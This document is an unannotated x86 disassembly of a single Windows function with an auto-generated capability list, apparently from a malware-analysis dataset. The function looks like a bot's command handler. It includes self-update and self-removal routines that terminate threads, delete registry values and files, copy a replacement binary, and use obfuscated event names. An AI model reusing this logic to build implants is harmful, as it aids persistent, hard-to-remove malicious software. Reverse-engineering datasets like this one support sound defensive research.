Function at 0x4013b0
Capabilities:
Copy file
Create thread
Delete file
Delete registry value
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 8], 0
push 0x400
call fcn.0040a350
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x24]
cmp dword [eax + 4], 0x390
je 0x4013f3
mov ecx, dword [ebp - 0x24]
cmp dword [ecx + 4], 0x38f
jne 0x401428
mov edx, dword [ebp - 0x24]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
add ecx, 0xc
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00404910
add esp, 0xc
call fcn.00404cc0
call fcn.00404e50
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
cmp dword [eax + 4], 0x390
jne 0x401451
cmp dword [ebp - 0x20], 1
jne 0x40144c
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00406290
add esp, 0x10
jmp 0x40167d
mov edx, dword [ebp - 0x24]
cmp dword [edx + 4], 0x38f
jne 0x40167d
cmp dword [ebp - 0x20], 1
jne 0x40167d
mov eax, dword [ebp - 0xc]
push eax
call fcn.00409be0
add esp, 4
cmp eax, 1
jne 0x40167d
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00405d60
add esp, 4
test eax, eax
je 0x40167d
push str.wWXZOlIzwOwzIlOZXWw
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x30], eax
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.82z2z2s2d2g4j6k4l62d
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
push str.82z2z2s2d2g4j6k4l62d
call fcn.00408110
add esp, 8
push 0x10
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.0040a430
add esp, 0xc
lea ecx, [ebp - 0x1c]
push ecx
push 0
push 0
mov edx, dword [ebp - 0xc]
push edx
call fcn.00406290
add esp, 0x10
push 0x493e0
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 4], 0
jne 0x401673
push 0
mov edx, dword [0x41493c]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov eax, dword [0x414930]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov ecx, dword [0x41494c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [0x414924]
push edx
call fcn.0040a410
add esp, 4
push 0
mov eax, dword [0x414928]
push eax
push 0
push 0
mov ecx, dword [0x414944]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov edx, dword [0x414944]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x4148f8]
push eax
call fcn.00406560
add esp, 4
mov ecx, dword [0x414940]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [0x414978]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x411e94]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x413ee8]
add ecx, 0x10
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
mov edx, dword [0x413ee8]
add edx, 0x10
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [0x411e9c], 1
jne 0x401624
mov edx, dword [0x41492c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x414950]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [0x414948]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x414950]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4119e4], 0
push str.KOPWELERGKR23930DW
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
push str.KOPWELERGKR23930DW
call fcn.00408110
add esp, 8
push 0
push 0
push 0
mov eax, dword [0x413ee8]
add eax, 0x10
push eax
call fcn.00406290
add esp, 0x10
cmp dword [0x411e9c], 0
jne 0x401669
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x24]
cmp dword [edx + 4], 0x391
jne 0x40179f
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
push 0
mov edx, dword [0x41493c]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov eax, dword [0x414930]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov ecx, dword [0x41494c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [0x414924]
push edx
call fcn.0040a410
add esp, 4
push 0
mov eax, dword [0x414928]
push eax
push 0
push 0
mov ecx, dword [0x414944]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov edx, dword [0x414944]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x4148f8]
push eax
call fcn.00406560
add esp, 4
mov ecx, dword [0x410040]
push ecx
mov edx, dword [0x414940]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [0x414940]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x410034]
push ecx
mov edx, dword [0x414978]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [0x414978]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x411e94]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x413ee8]
add edx, 0x10
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [0x411e9c], 0
jne 0x401774
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x41492c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x414950]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x4119e4], 0
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov edx, dword [ebp - 0x24]
cmp dword [edx + 4], 0x394
jne 0x4017fc
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
add edx, 0xc
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 8]
push ecx
call fcn.0040a350
add esp, 4
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0040a470
add esp, 0xc
push 0
push 0
mov eax, dword [ebp - 0x28]
push eax
push 0x4059a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x24]
cmp dword [ecx + 4], 0x393
jne 0x40184e
mov edx, dword [ebp - 0x24]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
add ecx, 0xc
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + 8]
push eax
call fcn.0040a350
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.0040a470
add esp, 0xc
mov edx, dword [ebp - 0x28]
push edx
call fcn.00405a40
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x40186a
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0040a410
add esp, 4
cmp dword [ebp - 8], 0
je 0x40188d
push 1
push 4
push 4
lea edx, [ebp - 8]
push edx
mov eax, dword [0x413ee8]
add eax, 0x814
push eax
call fcn.00401c80
add esp, 0x14
mov esp, ebp
pop ebp
ret